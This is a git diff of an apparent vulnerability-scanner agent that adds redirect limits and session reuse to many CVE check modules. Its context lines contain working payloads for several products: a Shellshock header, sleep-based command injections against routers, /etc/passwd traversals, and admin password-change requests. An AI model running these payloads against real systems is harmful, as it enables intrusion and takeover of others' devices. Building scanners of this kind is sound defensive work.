diff --git a/agent/exploits/cve_2014_0780.py b/agent/exploits/cve_2014_0780.py index a84784d8..ae649915 100644 --- a/agent/exploits/cve_2014_0780.py +++ b/agent/exploits/cve_2014_0780.py @@ -18,6 +18,7 @@ DEFAULT_TIMEOUT = 90 DEPTH = 10 +MAX_REDIRECTS = 2 @exploits_registry.register @@ -27,15 +28,20 @@ class CVE20140780Exploit(definitions.Exploit): """ def accept(self, target: definitions.Target) -> bool: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS + session.verify = False target_uri = f"{target.scheme}://{target.host}:{target.port}" try: - requests.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT) + session.get(target_uri, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False return True def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: session = requests.Session() + session.max_redirects = MAX_REDIRECTS + session.verify = False target_uri = f"{target.scheme}://{target.host}:{target.port}" file_names = ["boot.ini", "etc/passwd"] for file_name in file_names: @@ -46,7 +52,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: r = requests.Request(method="GET", url=url) prep = r.prepare() prep.url = url - response = session.send(prep, verify=False, timeout=DEFAULT_TIMEOUT) + response = session.send(prep, timeout=DEFAULT_TIMEOUT) except requests.exceptions.RequestException: return [] diff --git a/agent/exploits/cve_2014_7169.py b/agent/exploits/cve_2014_7169.py index a4f8e869..c13f81e6 100644 --- a/agent/exploits/cve_2014_7169.py +++ b/agent/exploits/cve_2014_7169.py @@ -25,31 +25,34 @@ PAYLOAD_TEMPLATE = "() { :;}; /bin/bash -c 'sleep %s'" MAX_DELAY_DIFFERENCE = 5 DELAYS = [30, 40, 50, 60] +MAX_REDIRECTS = 2 @exploits_registry.register class CVE20147169Exploit(definitions.Exploit): """CVE-2014-7169: GNU Bourne-Again Shell (Bash) Arbitrary Code Execution Vulnerability.""" - def __init__(self) -> None: - self.session = requests.Session() - def accept(self, target: definitions.Target) -> bool: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS + session.verify = False if target.path.endswith(".cgi") is False: return False target_uri = f"{target.scheme}://{target.host}:{target.port}{target.path}" try: - resp = self.session.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT) + resp = session.get(target_uri, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False return resp.status_code == 200 def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS target_uri = f"{target.scheme}://{target.host}:{target.port}{target.path}" for delay in DELAYS: payload = PAYLOAD_TEMPLATE % delay try: - resp = self.session.get( + resp = session.get( target_uri, headers={ "User-Agent": payload, diff --git a/agent/exploits/cve_2016_2386.py b/agent/exploits/cve_2016_2386.py index 28d31669..d6c0c71c 100644 --- a/agent/exploits/cve_2016_2386.py +++ b/agent/exploits/cve_2016_2386.py @@ -43,6 +43,7 @@ """ PERMISSION_KEYWORD = "deletePermissionByIdResponse" +MAX_REDIRECTS = 2 @exploits_registry.register @@ -52,8 +53,11 @@ class CVE20162386Exploit(definitions.Exploit): """ def accept(self, target: definitions.Target) -> bool: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS + session.verify = False try: - resp = requests.get(target.origin, verify=False, timeout=DEFAULT_TIMEOUT) + resp = session.get(target.origin, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False server = resp.headers.get("server", "Unknown") @@ -64,13 +68,15 @@ def accept(self, target: definitions.Target) -> bool: return LOWER_VULNERABLE_VERSION <= target_version <= UPPER_VULNERABLE_VERSION def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS + session.verify = False try: - resp = requests.post( + resp = session.post( urlparse.urljoin(target.origin, TARGET_ENDPOINT), headers=HEADERS, data=PAYLOAD, timeout=DEFAULT_TIMEOUT, - verify=False, ) except requests_exceptions.RequestException: return [] diff --git a/agent/exploits/cve_2018_10561.py b/agent/exploits/cve_2018_10561.py index 2e309171..2cc0524b 100644 --- a/agent/exploits/cve_2018_10561.py +++ b/agent/exploits/cve_2018_10561.py @@ -16,6 +16,7 @@ ) DEFAULT_TIMEOUT = 90 +MAX_REDIRECTS = 2 @exploits_registry.register @@ -23,9 +24,12 @@ class CVE201810562Exploit(definitions.Exploit): """CVE-2018-10562: Dasan GPON Routers Command Injection Vulnerability.""" def accept(self, target: definitions.Target) -> bool: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS + session.verify = False target_uri = f"{target.scheme}://{target.host}:{target.port}" try: - requests.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT) + session.get(target_uri, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False @@ -33,6 +37,9 @@ def accept(self, target: definitions.Target) -> bool: return True def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS + session.verify = False target_uri = f"{target.scheme}://{target.host}:{target.port}" data = { "XWebPageName": "diag", @@ -44,15 +51,13 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: } try: - requests.post( + session.post( target_uri + "/GponForm/diag_Form?images/", data=data, - verify=False, timeout=DEFAULT_TIMEOUT, ) - response = requests.get( + response = session.get( target_uri + "/diag.html?images/", - verify=False, timeout=DEFAULT_TIMEOUT, ) except requests_exceptions.RequestException: diff --git a/agent/exploits/cve_2018_13382.py b/agent/exploits/cve_2018_13382.py index e44c8073..ebaf47cd 100644 --- a/agent/exploits/cve_2018_13382.py +++ b/agent/exploits/cve_2018_13382.py @@ -18,6 +18,7 @@ "Connection": "close", "Upgrade-Insecure-Requests": "1", } +MAX_REDIRECTS = 2 @exploits_registry.register @@ -27,16 +28,20 @@ class CVE201813382Exploit(definitions.Exploit): """ def accept(self, target: definitions.Target) -> bool: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS + session.verify = False try: url = f"{target.scheme}://{target.host}:{target.port}/remote/login?lang=en" - r = requests.get( - url, headers=HEADERS, verify=False, timeout=DEFAULT_TIMEOUT - ) + r = session.get(url, headers=HEADERS, timeout=DEFAULT_TIMEOUT) except requests.exceptions.RequestException: return False return r.status_code == 200 and "Please Login" in r.text def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS + session.verify = False url = f"{target.scheme}://{target.host}:{target.port}/remote/login?lang=en" # we are trying to change the password for the user : admin data = { @@ -49,9 +54,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: "credential2": "ChangePassword", } try: - res = requests.post( - url, headers=HEADERS, data=data, verify=False, timeout=DEFAULT_TIMEOUT - ) + res = session.post(url, headers=HEADERS, data=data, timeout=DEFAULT_TIMEOUT) except requests.exceptions.RequestException: return [] diff --git a/agent/exploits/cve_2018_14558.py b/agent/exploits/cve_2018_14558.py index 19d6dae7..2702852e 100644 --- a/agent/exploits/cve_2018_14558.py +++ b/agent/exploits/cve_2018_14558.py @@ -21,28 +21,31 @@ TARGET_PATH = "/goform/setUsbUnload/.js?deviceName=A;" MAX_DELAY_DIFFERENCE = 5 DELAYS = [30, 40, 50, 60] +MAX_REDIRECTS = 2 @exploits_registry.register class CVE201814558Exploit(definitions.Exploit): """CVE-2018-14558: Tenda AC7, AC9, and AC10 Routers Command Injection Vulnerability""" - def __init__(self) -> None: - self.session = requests.Session() - def accept(self, target: definitions.Target) -> bool: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS + session.verify = False target_uri = f"{target.scheme}://{target.host}:{target.port}" try: - resp = self.session.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT) + resp = session.get(target_uri, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False return resp.status_code == 200 def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS target_uri = f"{target.scheme}://{target.host}:{target.port}" for delay in DELAYS: try: - resp = self.session.get(target_uri + TARGET_PATH + f"sleep {delay}") + resp = session.get(target_uri + TARGET_PATH + f"sleep {delay}") except requests_exceptions.RequestException: return [] elapsed = resp.elapsed.seconds diff --git a/agent/exploits/cve_2018_14667.py b/agent/exploits/cve_2018_14667.py index 12365ebb..6eb2357d 100644 --- a/agent/exploits/cve_2018_14667.py +++ b/agent/exploits/cve_2018_14667.py @@ -24,6 +24,7 @@ JST_PATTERN = re.compile(r"JSF/(.*)") UPPER_VULNERABLE_VERSION = version.parse("3.3.4") VERSION_PATTERN = re.compile(r'href="/a4j/s/(\d+_\d+_\d+)\.Final') +MAX_REDIRECTS = 2 @exploits_registry.register @@ -33,8 +34,11 @@ class CVE201814667Exploit(definitions.Exploit): """ def accept(self, target: definitions.Target) -> bool: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS + session.verify = False try: - resp = requests.get(target.origin, verify=False, timeout=DEFAULT_TIMEOUT) + resp = session.get(target.origin, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False @@ -46,10 +50,15 @@ def accept(self, target: definitions.Target) -> bool: return JST_PATTERN.search(jsf_header) is not None def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: - resp = requests.get( - target.origin, - timeout=DEFAULT_TIMEOUT, - ) + session = requests.Session() + session.max_redirects = MAX_REDIRECTS + try: + resp = session.get( + target.origin, + timeout=DEFAULT_TIMEOUT, + ) + except requests.exceptions.RequestException: + return [] if resp.status_code != 200: return [] diff --git a/agent/exploits/cve_2018_7841.py b/agent/exploits/cve_2018_7841.py index b1f1f164..5ed9a523 100644 --- a/agent/exploits/cve_2018_7841.py +++ b/agent/exploits/cve_2018_7841.py @@ -18,6 +18,7 @@ MAX_DELAY_DIFFERENCE = 5 DELAYS = [30, 40, 50, 60] TARGET_ENDPOINT = "/smartdomuspad/modules/reporting/track_import_export.php" +MAX_REDIRECTS = 2 @exploits_registry.register @@ -27,16 +28,20 @@ class CVE20187841Exploit(definitions.Exploit): """ def accept(self, target: definitions.Target) -> bool: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS + session.verify = False target_uri = f"{target.scheme}://{target.host}:{target.port}" try: - resp = requests.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT) + resp = session.get(target_uri, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False return resp.status_code == 200 def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: - target_uri = f"{target.scheme}://{target.host}:{target.port}" session = requests.Session() + session.max_redirects = MAX_REDIRECTS + target_uri = f"{target.scheme}://{target.host}:{target.port}" for delay in DELAYS: data = f"op=export&language=english&interval=1&object_id=`sleep {delay}`" diff --git a/agent/exploits/cve_2019_12989__cve_2019_12991.py b/agent/exploits/cve_2019_12989__cve_2019_12991.py index 43a127fe..ed0dcc68 100644 --- a/agent/exploits/cve_2019_12989__cve_2019_12991.py +++ b/agent/exploits/cve_2019_12989__cve_2019_12991.py @@ -16,6 +16,7 @@ DEFAULT_TIMEOUT = 90 HEADERS = {"SSL_CLIENT_VERIFY": "SUCCESS"} +MAX_REDIRECTS = 2 logger = logging.getLogger(__name__) @@ -27,14 +28,20 @@ class CVE201912989Exploit(definitions.Exploit): """ def accept(self, target: definitions.Target) -> bool: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS + session.verify = False target_uri = f"{target.scheme}://{target.host}:{target.port}" try: - requests.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT) + session.get(target_uri, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False return True def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS + session.verify = False url = ( f"{target.scheme}://{target.host}:{target.port}" f"/sdwan/nitro/v1/config/get_package_file?action=file_download" @@ -52,9 +59,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: } } try: - r = requests.post( - url, headers=HEADERS, json=json, verify=False, timeout=DEFAULT_TIMEOUT - ) + r = session.post(url, headers=HEADERS, json=json, timeout=DEFAULT_TIMEOUT) except requests.exceptions.RequestException as e: logger.error("Error : %s", e) return [] diff --git a/agent/exploits/cve_2019_7193.py b/agent/exploits/cve_2019_7193.py index 05d15b83..6822ea35 100644 --- a/agent/exploits/cve_2019_7193.py +++ b/agent/exploits/cve_2019_7193.py @@ -19,6 +19,7 @@ DEFAULT_TIMEOUT = 90 HEADERS = {"User-Agent": "Gundy - QNAP RCE"} TARGET_FILE = "./../../../../../etc/passwd" +MAX_REDIRECTS = 2 @exploits_registry.register @@ -28,41 +29,45 @@ class CVE20197193Exploit(definitions.Exploit): """ def accept(self, target: definitions.Target) -> bool: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS + session.verify = False target_uri = f"{target.scheme}://{target.host}:{target.port}" try: - resp = requests.get( - target_uri + "/cgi-bin/", verify=False, timeout=DEFAULT_TIMEOUT - ) + resp = session.get(target_uri + "/cgi-bin/", timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False return resp.status_code == 200 def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: - target_uri = f"{target.scheme}://{target.host}:{target.port}" session = requests.Session() - - # Get album id - resp = session.post( - target_uri + "/photo/p/api/album.php", - data={"a": "setSlideshow", "f": "qsamplealbum"}, - headers=HEADERS, - verify=False, - timeout=DEFAULT_TIMEOUT, - ) - if resp.status_code != 200: + session.max_redirects = MAX_REDIRECTS + session.verify = False + target_uri = f"{target.scheme}://{target.host}:{target.port}" + try: + # Get album id + resp = session.post( + target_uri + "/photo/p/api/album.php", + data={"a": "setSlideshow", "f": "qsamplealbum"}, + headers=HEADERS, + timeout=DEFAULT_TIMEOUT, + ) + except requests.exceptions.RequestException: return [] album_match = re.search("(?<=).*?(?=)", resp.text) if album_match is None: return [] album_id = album_match.group() - # Get access code - resp = session.get( - target_uri + "/photo/slideshow.php?album=" + album_id, - headers=HEADERS, - verify=False, - timeout=DEFAULT_TIMEOUT, - ) + try: + # Get access code + resp = session.get( + target_uri + "/photo/slideshow.php?album=" + album_id, + headers=HEADERS, + timeout=DEFAULT_TIMEOUT, + ) + except requests.exceptions.RequestException: + return [] if resp.status_code != 200: return [] access_match = re.search("(?<=encodeURIComponent\\(').*?(?=')", resp.text) @@ -78,13 +83,16 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: "f": "UMGObv", "filename": TARGET_FILE, } - resp = session.post( - target_uri + "/photo/p/api/video.php", - data=post_data, - headers=HEADERS, - verify=False, - timeout=DEFAULT_TIMEOUT, - ) + try: + resp = session.post( + target_uri + "/photo/p/api/video.php", + data=post_data, + headers=HEADERS, + timeout=DEFAULT_TIMEOUT, + ) + except requests.exceptions.TooManyRedirects: + return [] + if b"/bin/sh" not in resp.content: return [] diff --git a/agent/exploits/cve_2021_22941.py b/agent/exploits/cve_2021_22941.py index aca7cdb9..26a2e3ab 100644 --- a/agent/exploits/cve_2021_22941.py +++ b/agent/exploits/cve_2021_22941.py @@ -18,6 +18,7 @@ ) DEFAULT_TIMEOUT = 90 +MAX_REDIRECTS = 2 def _encode_multipart_formdata(files: dict[str, str]) -> tuple[str, str]: @@ -37,14 +38,20 @@ class CVE20212941Exploit(definitions.Exploit): """CVE-2021-22941: Improper Access Control in Citrix ShareFile storage zones controller.""" def accept(self, target: definitions.Target) -> bool: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS + session.verify = False target_uri = f"{target.scheme}://{target.host}:{target.port}" try: - req = requests.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT) + req = session.get(target_uri, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False return "ShareFile" in req.text def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS + session.verify = False target_uri = f"{target.scheme}://{target.host}" content_file = "A" * 4096 files = {"name": "text4", "filename": "text5", "content_file": content_file} @@ -57,17 +64,15 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: "accountid": "123", } try: - requests.post( + session.post( target_uri + "/upload.aspx", data=data, params=params, headers=headers, - verify=False, timeout=DEFAULT_TIMEOUT, ) - req = requests.get( + req = session.get( target_uri + "/configservice/Home/Error", - verify=False, timeout=DEFAULT_TIMEOUT, ) except requests_exceptions.RequestException: diff --git a/agent/exploits/cve_2021_32648.py b/agent/exploits/cve_2021_32648.py index 1ccc8e78..42e7352e 100644 --- a/agent/exploits/cve_2021_32648.py +++ b/agent/exploits/cve_2021_32648.py @@ -21,6 +21,7 @@ PASSWORD_PATH = "/backend/backend/auth/reset/1" SIGNIN_PATH = "/backend/backend/auth/signin" FAILED_LOGIN = "The details you entered did not match our records. Please double-check and try again." +MAX_REDIRECTS = 2 logger = logging.getLogger(__name__) @@ -31,13 +32,12 @@ class CVE202132648Exploit(definitions.Exploit): October CMS Improper Authentication: CVE-2021-32648. """ - session = requests.Session() - session.verify = False - def accept(self, target: definitions.Target) -> bool: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS try: url = f"{target.scheme}://{target.host}:{target.port}" - r = requests.get(url, verify=False, timeout=DEFAULT_TIMEOUT) + r = session.get(url, timeout=DEFAULT_TIMEOUT) except requests.exceptions.RequestException: return False return r.status_code == 200 and "october_session" in r.headers.get( @@ -59,8 +59,14 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: def _get_csrf(self, url: str) -> Optional[str]: """Connect to Host and read the CSRF token so we can use it in POSTS""" + session = requests.Session() + session.max_redirects = MAX_REDIRECTS csrf_pattern = b'' - csrf_request = self.session.get(f"{url}{RESET_PATH}") + try: + csrf_request = session.get(f"{url}{RESET_PATH}") + except requests.exceptions.RequestException: + return None + if csrf_request.status_code == 200: match = re.search(csrf_pattern, csrf_request.content) if match is not None: @@ -70,12 +76,14 @@ def _get_csrf(self, url: str) -> Optional[str]: def _trigger_reset(self, url: str) -> bool: """Trigger a Password Reset Request for the admin account""" + session = requests.Session() + session.max_redirects = MAX_REDIRECTS reset_url = f"{url}{RESET_PATH}" csrf_token = self._get_csrf(url) if csrf_token is not None: post_data = {"_token": csrf_token, "postback": 1, "login": "admin"} try: - reset_request = self.session.post( + reset_request = session.post( reset_url, data=post_data, timeout=DEFAULT_TIMEOUT ) except requests.exceptions.RequestException: @@ -87,6 +95,8 @@ def _trigger_reset(self, url: str) -> bool: def _login_attempt(self, url: str) -> bool: """checks if we can log in with the admin account.""" + session = requests.Session() + session.max_redirects = MAX_REDIRECTS login_url = f"{url}{SIGNIN_PATH}" csrf_token = self._get_csrf(url) if csrf_token is not None: @@ -97,7 +107,7 @@ def _login_attempt(self, url: str) -> bool: "password": "changePassword", } try: - login_request = self.session.post( + login_request = session.post( login_url, data=post_data, timeout=DEFAULT_TIMEOUT ) except requests.exceptions.RequestException: @@ -112,7 +122,8 @@ def _login_attempt(self, url: str) -> bool: def _set_password(self, url: str) -> bool: """Send a request to set the admin password that will bypass the token checking""" - + session = requests.Session() + session.max_redirects = MAX_REDIRECTS # Generate a random string of len 42 to spoof a reset token chars = string.ascii_uppercase + string.digits + string.ascii_lowercase random_string = "".join(random.choice(chars) for _ in range(42)) @@ -127,7 +138,7 @@ def _set_password(self, url: str) -> bool: "password": "changePassword", } try: - reset_request = self.session.post( + reset_request = session.post( reset_url, verify=False, headers={"Content-Type": "application/json"}, diff --git a/agent/exploits/cve_2022_26318.py b/agent/exploits/cve_2022_26318.py index d30bd4ef..fed24158 100644 --- a/agent/exploits/cve_2022_26318.py +++ b/agent/exploits/cve_2022_26318.py @@ -18,6 +18,7 @@ ) DEFAULT_TIMEOUT = 90 +MAX_REDIRECTS = 2 @exploits_registry.register @@ -27,27 +28,30 @@ class CVE202226318Exploit(definitions.Exploit): """ def accept(self, target: definitions.Target) -> bool: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS + session.verify = False target_uri = f"{target.scheme}://{target.host}:{target.port}" try: - requests.get( - target_uri + "/agent/login", verify=False, timeout=DEFAULT_TIMEOUT - ) + session.get(target_uri + "/agent/login", timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False return True def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS + session.verify = False target_uri = f"{target.scheme}://{target.host}:{target.port}" payload = self._build_payload() headers = { "Content-Encoding": "gzip", } try: - response = requests.post( + response = session.post( target_uri + "/agent/login", headers=headers, data=payload, - verify=False, timeout=DEFAULT_TIMEOUT, ) except requests_exceptions.RequestException: diff --git a/agent/exploits/cve_2023_1389.py b/agent/exploits/cve_2023_1389.py index 8ab2080c..6c768ba1 100644 --- a/agent/exploits/cve_2023_1389.py +++ b/agent/exploits/cve_2023_1389.py @@ -18,6 +18,7 @@ DEFAULT_TIMEOUT = 90 +MAX_REDIRECTS = 2 @exploits_registry.register @@ -25,27 +26,31 @@ class CVE20231389Exploit(definitions.Exploit): """CVE-2023-1389: Remote Code Execution in TP-Link AX21.""" def accept(self, target: definitions.Target) -> bool: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS + session.verify = False target_uri = f"{target.scheme}://{target.host}:{target.port}/cgi-bin/luci/" try: - response = requests.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT) + response = session.get(target_uri, timeout=DEFAULT_TIMEOUT) return response.status_code == 200 except requests_exceptions.RequestException: return False def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS + session.verify = False target_uri = f"{target.scheme}://{target.host}:{target.port}" try: - response = requests.get( + response = session.get( target_uri + "/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(notfound)", - verify=False, timeout=DEFAULT_TIMEOUT, ) # TODO(OS-6117): Approximate check that needs a live instance to validate the issue. if response.status_code == 500: vulnerability = self._generate_vulnerability_object(target_uri) return [vulnerability] - except requests_exceptions.RequestException: return [] diff --git a/agent/exploits/cve_2023_22518.py b/agent/exploits/cve_2023_22518.py index 8aa136f2..02ba4fc9 100644 --- a/agent/exploits/cve_2023_22518.py +++ b/agent/exploits/cve_2023_22518.py @@ -39,6 +39,7 @@ (version.parse("8.4.0"), version.parse("8.4.2")), (version.parse("8.5.0"), version.parse("8.5.1")), ] +MAX_REDIRECTS = 2 @exploits_registry.register @@ -47,14 +48,13 @@ class CVE202322518Exploit(definitions.Exploit): CVE-2023-22518: Improper Authorization Vulnerability In Confluence Data Center and Server """ - def __init__(self) -> None: - self.session = requests.Session() - def accept(self, target: definitions.Target) -> bool: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS + session.verify = False try: - resp = self.session.get( + resp = session.get( urlparse.urljoin(target.origin, ACCEPT_ENDPOINT), - verify=False, timeout=DEFAULT_TIMEOUT, ) except requests_exceptions.RequestException: @@ -70,13 +70,15 @@ def accept(self, target: definitions.Target) -> bool: return False def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS files = { "buildIndex": (None, "false"), "edit": (None, "Upload and import"), "file": ("ZIP_DATA", io.BytesIO(b"\x00"), "application/zip"), } try: - resp = self.session.post( + resp = session.post( urlparse.urljoin(target.origin, CHECK_ENDPOINT), files=files, # type: ignore headers=HEADERS, diff --git a/agent/exploits/cve_2023_27997.py b/agent/exploits/cve_2023_27997.py index b14a2eb8..b8c02cc9 100644 --- a/agent/exploits/cve_2023_27997.py +++ b/agent/exploits/cve_2023_27997.py @@ -26,6 +26,7 @@ DEFAULT_TIMEOUT = 90 REQUESTS_PER_GROUP = 400 +MAX_REDIRECTS = 2 def _gen_enc_hdr(salt: bytes, l: int) -> str: @@ -45,7 +46,6 @@ def _make_request( req = session.post( baseurl + "/remote/hostcheck_validate", headers={"content-type": "application/x-www-form-urlencoded"}, - verify=False, data=payload, ) return req @@ -69,11 +69,12 @@ class CVE202327997Exploit(definitions.Exploit): """CVE-2021-22941: A heap-based buffer overflow vulnerability in FortiOS.""" def accept(self, target: definitions.Target) -> bool: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS + session.verify = False target_uri = f"{target.scheme}://{target.host}:{target.port}:{target.port}" try: - req = requests.get( - target_uri + "/remote/info", verify=False, timeout=DEFAULT_TIMEOUT - ) + req = session.get(target_uri + "/remote/info", timeout=DEFAULT_TIMEOUT) reg = re.compile("salt='([0-9a-f]{8})'") matches = reg.findall(req.text) except requests_exceptions.RequestException: @@ -81,10 +82,14 @@ def accept(self, target: definitions.Target) -> bool: return len(matches) == 1 def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS + session.verify = False target_uri = f"{target.scheme}://{target.host}:{target.port}" - r = requests.get( - target_uri + "/remote/info", verify=False, timeout=DEFAULT_TIMEOUT - ) + try: + r = session.get(target_uri + "/remote/info", timeout=DEFAULT_TIMEOUT) + except requests_exceptions.RequestException: + return [] reg = re.compile("salt='([0-9a-f]{8})'") matches = reg.findall(r.text) salt = matches[0].encode() @@ -96,13 +101,22 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: overflow = [] regular = [] - s = requests.Session() for i in range(REQUESTS_PER_GROUP): - req1 = _make_request(s, target_uri, salt, alloc_size, alloc_size + 0xF0) + try: + req1 = _make_request( + session, target_uri, salt, alloc_size, alloc_size + 0xF0 + ) + except requests_exceptions.RequestException: + return [] overflow.append(req1.elapsed.microseconds) - req2 = _make_request(s, target_uri, salt, alloc_size, alloc_size // 2) + try: + req2 = _make_request( + session, target_uri, salt, alloc_size, alloc_size // 2 + ) + except requests_exceptions.RequestException: + return [] regular.append(req2.elapsed.microseconds) if i > 20 and i % 10 == 0: diff --git a/agent/exploits/cve_2023_36845.py b/agent/exploits/cve_2023_36845.py index 7ff95ae0..22c7df00 100644 --- a/agent/exploits/cve_2023_36845.py +++ b/agent/exploits/cve_2023_36845.py @@ -35,6 +35,7 @@ "auto_prepend_file": (None, "/etc/passwd\n"), "PHPRC": (None, "/dev/fd/0"), } +MAX_REDIRECTS = 2 @exploits_registry.register @@ -44,20 +45,24 @@ class CVE202336845Exploit(definitions.Exploit): """ def accept(self, target: definitions.Target) -> bool: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS + session.verify = False target_uri = f"{target.scheme}://{target.host}:{target.port}{target.path}" try: - resp = requests.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT) + resp = session.get(target_uri, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False return resp.status_code == 200 and JUNIPER_KEYWORD in resp.text def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS + session.verify = False target_uri = f"{target.scheme}://{target.host}:{target.port}{target.path}" try: - resp = requests.post( - target_uri, files=PAYLOAD, verify=False, timeout=DEFAULT_TIMEOUT - ) + resp = session.post(target_uri, files=PAYLOAD, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return [] diff --git a/tests/asteroid_agent_test.py b/tests/asteroid_agent_test.py index 3772617e..a5fb45fe 100644 --- a/tests/asteroid_agent_test.py +++ b/tests/asteroid_agent_test.py @@ -1,5 +1,5 @@ """Unit tests for AsteroidAgent.""" -from typing import Type, Generator +from typing import Type, Iterator from ostorlab.agent.message import message as m @@ -8,7 +8,7 @@ def testAsteroidAgent_whenExploitCheckDetectVulnz_EmitsVulnerabilityReport( - exploit_instance_with_report: Generator[Type[definitions.Exploit], None, None], + exploit_instance_with_report: Iterator[Type[definitions.Exploit]], asteroid_agent_instance: asteroid_agent.AsteroidAgent, agent_mock: list[m.Message], scan_message_domain_name: m.Message, @@ -19,3 +19,21 @@ def testAsteroidAgent_whenExploitCheckDetectVulnz_EmitsVulnerabilityReport( assert len(agent_mock) == 1 assert agent_mock[0].selector == "v3.report.vulnerability" + + +def testAsteroidAgent_whenTooManyRedirects_doesNotCrash( + exploit_instance_with_report: Iterator[Type[definitions.Exploit]], + asteroid_agent_instance: asteroid_agent.AsteroidAgent, + agent_mock: list[m.Message], +) -> None: + """Ensure that the agent does not crash when there are too many redirects.""" + msg = m.Message( + selector="v3.asset.link", + data={"url": "https://expediaagents.com", "method": "GET"}, + raw=b"\n\x19https://expediaagents.com\x12\x03GET", + ) + + asteroid_agent_instance.process(msg) + + assert len(agent_mock) == 1 + assert agent_mock[0].selector == "v3.report.vulnerability"